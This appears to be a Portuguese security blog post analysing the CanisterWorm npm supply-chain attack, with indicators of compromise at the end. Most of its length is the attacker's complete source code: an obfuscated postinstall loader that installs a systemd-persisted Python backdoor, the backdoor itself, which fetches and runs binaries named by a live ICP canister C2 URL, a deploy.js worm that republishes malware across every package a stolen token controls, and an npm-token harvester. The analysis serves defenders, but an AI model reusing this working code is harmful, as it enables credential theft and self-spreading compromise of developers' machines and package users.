Em 20 de março de 2026, às 20:45 UTC, detectamos um grande número de pacotes comprometidos no NPM com um novo worm que não havia sido observado antes. Estamos chamando este ataque específico de CanisterWorm, porque ele utiliza um ICP Canister para seu C2 dead-drop, o que é a primeira vez que vemos em uma campanha como esta.
Eles comprometeram até agora:
- 28 pacotes no
@EmilGroupscope - 16 pacotes no
@opengovscope - O pacote
@teale.io/eslint-config - O pacote
@airtm/uuid-base32 - O pacote
@pypestream/floating-ui-dom
Isso parece ser um desdobramento direto do ataque ao Trivy há menos de 24 horas, conforme documentado em detalhes pela Wiz, e ter sido realizado pelo mesmo ator de ameaça, TeamPCP.
Análise Técnica
Aqui está um detalhamento dos detalhes técnicos de alto nível do ataque:
- 🧬 Arquitetura de três estágios. loader postinstall do Node.js → backdoor Python persistente → dead-drop hospedado no ICP para entrega dinâmica de payload.
- 🪱 Worm auto-propagável.
deploy.jscoleta tokens npm, resolve nomes de usuário, enumera todos os pacotes publicáveis, atualiza as versões de patch e publica o payload em todo o escopo. 28 pacotes em menos de 60 segundos. - 🔁 Persistência via systemd. Instala um serviço de nível de usuário com
Restart=always. Sobrevive a reinicializações, reinicia em caso de falha, sem necessidade de root. - 🌐 Canister ICP como C2 dead-drop. Um canister na mainnet do Internet Computer retorna uma URL apontando para um payload binário. Descentralizado, resistente à censura, sem ponto único de remoção.
- 🔄 Rotação remota de payload. O controlador do canister pode trocar a URL a qualquer momento, enviando novos binários para todos os hosts infectados sem tocar no implante.
- ⏱️ Evasão de sandbox. 5 minutos de espera antes do primeiro beacon, intervalo de sondagem de aproximadamente 50 minutos depois disso.
- 🤫 Falha silenciosa. Todo o processo de pós-instalação é encapsulado em
try/catch.npm installé executado normalmente em todas as plataformas; o backdoor só é ativado no Linux com systemd. - 🐘 Mascaramento de PostgreSQL. Todos os artefatos nomeados para se misturar em máquinas de desenvolvedores:
pgmon,pglog,.pg_state. - 📄 Preservação do README. O worm busca o README original de cada pacote alvo antes de publicar para manter as aparências.
Payload - Malware
Abaixo está o payload malicioso principal. Este arquivo é executado automaticamente como um postinstall durante o hook npm install. Veja o que ele faz passo a passo:
- 🔓 Decodifica o payload incorporado. A longa string base64 é um script Python (o backdoor de segunda etapa que veremos abaixo). Ele é decodificado e gravado em
~/.local/share/pgmon/service.py. - 🔧 Cria um serviço de usuário systemd. Ele grava um arquivo de unidade em
~/.config/systemd/user/pgmon.serviceque executa o script Python comRestart=alwayse um atraso de reinício de 5 segundos. Não é necessário root, nem solicitação de senha. - 🚀 Inicia o serviço imediatamente. Ele executa
systemctl --user daemon-reload, então habilita e inicia o serviço. O backdoor agora está em execução e sobreviverá a reinicializações e falhas. - 🐘 Se disfarça como ferramenta PostgreSQL. O serviço é chamado de
pgmon, o binário que ele baixa mais tarde é chamado depglog, e o arquivo de estado é.pg_state. Um desenvolvedor que olhasse rapidamente para seus serviços em execução não desconfiaria.
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
Payload - Backdoor Python
Ao decodificar o payload systemd codificado em base64, você obtém o seguinte. Este é o backdoor real que persiste no sistema. Ele usa apenas módulos da biblioteca padrão do Python, então não há nada para instalar.
- ⏱️ Dorme por 5 minutos antes de fazer qualquer coisa. Tempo suficiente para durar mais que a maioria dos ambientes de sandbox que monitoram comportamentos suspeitos imediatos.
- 📡 Faz contato com o servidor a cada ~50 minutos. Função
g()contata um canister ICP com um User-Agent de navegador falsificado. O canister não serve malware diretamente. Ele apenas retorna uma URL como texto simples, apontando para onde o binário real está atualmente hospedado. - 📥 Baixa e executa o que for instruído. Função
e()busca o binário para/tmp/pglog, o marca como executável e o inicia em um processo totalmente desvinculado. A URL é salva em/tmp/.pg_statepara que não baixe o mesmo payload duas vezes. - 🔘 Possui um kill switch integrado. Se a URL contiver
youtube[.]com, o script o ignora. Este é o estado dormente do canister. O atacante arma o implante apontando o canister para um binário real e o desarma voltando para um link do YouTube. - 🔄 Suporta rotação de payload. Se o atacante atualizar o canister para apontar para uma nova URL, cada máquina infectada obterá o novo binário em sua próxima sondagem. O binário antigo continua sendo executado em segundo plano, pois o script nunca encerra processos anteriores.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
Este payload, e o domínio referenciado, parecem ser semelhantes, se não idênticos, ao sysmon.py payload do ataque ao Trivy. No momento, a URL retornada pelo C2 é um vídeo do YouTube de Rickroll. Isso pode mudar a qualquer momento e começar a servir um payload malicioso adequado.
Payload - Worm
Os pacotes também incluem deploy.js, uma ferramenta de autopropagação que o atacante executa manualmente para espalhar o payload malicioso por todos os pacotes aos quais um token npm roubado tem acesso. O worm é muito simples. Parece ter sido inteiramente 'vibecoded' e é autoexplicativo. Nenhuma tentativa de ofuscação foi feita aqui. Isso não é acionado por npm install. É uma ferramenta autônoma que o atacante executa com tokens roubados para maximizar o raio de impacto. Veja o que ele faz:
- 🔑 Suporta múltiplos tokens. Lê
NPM_TOKENS(separados por vírgula) ouNPM_TOKENdo ambiente. Cada token é processado independentemente, o que significa que uma única execução pode comprometer múltiplas contas. - 🔍 Resolve a quem o token pertence. Para cada token, ele chama o npm
/-/whoamiendpoint para obter o nome de usuário associado. Tokens inválidos ou expirados são ignorados. - 📦 Enumera cada pacote ao qual a conta pode publicar. Usa a API de busca do npm com
maintainer:<username>, paginado em lotes de 250. Foi assim que ele descobriu todos os 28@emilgrouppacotes. - 🔢 Incrementa a versão de patch automaticamente. Busca a versão atual
mais recentede cada pacote alvo e incrementa o número do patch.1.54.0torna-se1.54.1,1.97.1torna-se1.97.2. A nova versão sempre parece um lançamento de patch de rotina. - 📄 Preserva o README original. Antes de publicar, ele busca o README existente do pacote alvo no registro e o substitui localmente. Após a publicação, ele restaura seus próprios arquivos. Isso mantém a listagem do npm com uma aparência normal.
- 🔀 Reescreve
package.jsondinamicamente. Substitui temporariamente o nome e a versão do pacote no localpackage.jsonpelo do alvo, publica e então restaura o original. Um esqueleto malicioso, reutilizado para cada pacote. - 🚀 Publica com
--tag latest. O--access public --tag latestflags garantem que a versão maliciosa se torne a instalação padrão. Qualquer um que executenpm install @emilgroup/whateverobtém a versão comprometida. - 🧹 Faz a limpeza após a execução. Ambos
package.jsoneREADME.mdsão sempre restaurados em umfinalmentebloco, mesmo que a publicação falhe. O diretório local parece intocado após a execução. - 📊 Imprime um resumo. Rastreia sucessos e falhas por token, registra tudo com linhas de status prefixadas por emojis. Ironicamente bem-projetado para uma ferramenta de ataque.
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();Atualização: CanisterWorm Aprende a se Autopropagar
Cerca de uma hora após a onda inicial, @emilgroup o atacante implementou uma atualização significativa para as @teale.io/eslint-config versões 1.8.11 e 1.8.12 (21:16-21:21 UTC). O worm não é mais uma ferramenta manual. Agora ele se auto-propaga.
Nas @emilgroup versões, deploy.js era um script autônomo que o atacante executava manualmente com tokens roubados. As vítimas recebiam o backdoor, mas o worm não se espalhava por conta própria. Isso mudou. A nova index.js adiciona uma findNpmTokens() função que é executada durante postinstall e coleta ativamente tokens de autenticação npm da máquina da vítima.
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}Este é o mesmo backdoor do systemd de antes, mas com uma adição crítica no final: após instalar o serviço persistente, ele coleta todos os tokens npm que consegue encontrar e os utiliza para propagar o worm.
- 🔍 Coleta
.npmrcarquivos. Verifica~/.npmrc(configuração do usuário),.npmrcno diretório de trabalho atual (configuração do projeto), e/etc/npmrc(configuração global). Analisa cada linha em busca de_authTokenvalores. Inteligente o suficiente para pular variáveis de template como${NPM_TOKEN}que não foram interpoladas. - 🔍 Coleta variáveis de ambiente. Procura por
NPM_TOKEN,NPM_TOKENS, e qualquer coisa que corresponda*NPM*TOKEN*. Divide por vírgulas para lidar com variáveis de múltiplos tokens. Isso abrange a maioria das configurações de CI/CD. - 🔍 Consulta a configuração do npm diretamente. Executa
npm config get //registry.npmjs.org/:_authTokencomo um subprocesso para capturar tokens armazenados fora.npmrcarquivos. - 🪱 Gera o worm automaticamente. Se quaisquer tokens forem encontrados, ele inicia
deploy.jscomo um processo em segundo plano totalmente desanexado com os tokens roubados. Odetached: truee.unref()significam que o worm continua em execução mesmo depois quenpm installtermina.
Este é o ponto em que o ataque passa de "conta comprometida publica malware" para "malware compromete mais contas e se publica". Todo desenvolvedor ou pipeline de CI que instala este pacote e tem um token npm acessível se torna um vetor de propagação involuntário. Seus pacotes são infectados, seus usuários downstream os instalam e, se algum de deles tiver tokens, o ciclo se repete.
O payload do backdoor ICP foi substituído por hello123, uma string de teste fictícia que decodifica para bytes de lixo. Quando o systemd tenta executá-lo como Python, ele trava imediatamente, mas com Restart=always definido, o serviço reinicia silenciosamente a cada 5 segundos. O atacante enviou a infraestrutura primeiro para validar a cadeia completa (coleta de tokens, geração de worm, persistência do systemd) antes de armá-la com o payload real.
Se isso tivesse sido enviado com o backdoor ICP completo, os pacotes de cada desenvolvedor comprometido teriam se tornado um novo vetor de infecção. A infraestrutura funciona. Eles apenas ainda não abriram a torneira.
Mensagem no código-fonte
Parece que o ator da ameaça está acompanhando a cobertura de seus ataques. Em sua última onda de ataque, eles deixaram uma mensagem se dirigindo diretamente ao autor desta postagem de blog:

Indicadores de Comprometimento
Infraestrutura C2
hxxps://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/— ICP canister dead-drop resolver
Indicadores de Sistema de Arquivos
~/.local/share/pgmon/service.py— Script de backdoor Python~/.config/systemd/user/pgmon.service— Unidade de persistência Systemd/tmp/pglog— Payload binário baixado/tmp/.pg_state— Arquivo de rastreamento de estado
Hashes Maliciosos de index.js (SHA256)
e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b— Onda 1: teste simulado (payload vazio, implantação manual)61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba— Onda 2: backdoor ICP armada, deploy manual0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a— Onda 3: auto-propagável, payload de testec37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926— Onda 4: forma final (auto-propagável + backdoor ICP armada)
Hashes de deploy.js Maliciosos (SHA256)
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152— Onda 1: verboso, sem --tag latest- 7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 — Onda 2: adicionado --tag latest
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956— Onda 3+: minificado, silencioso

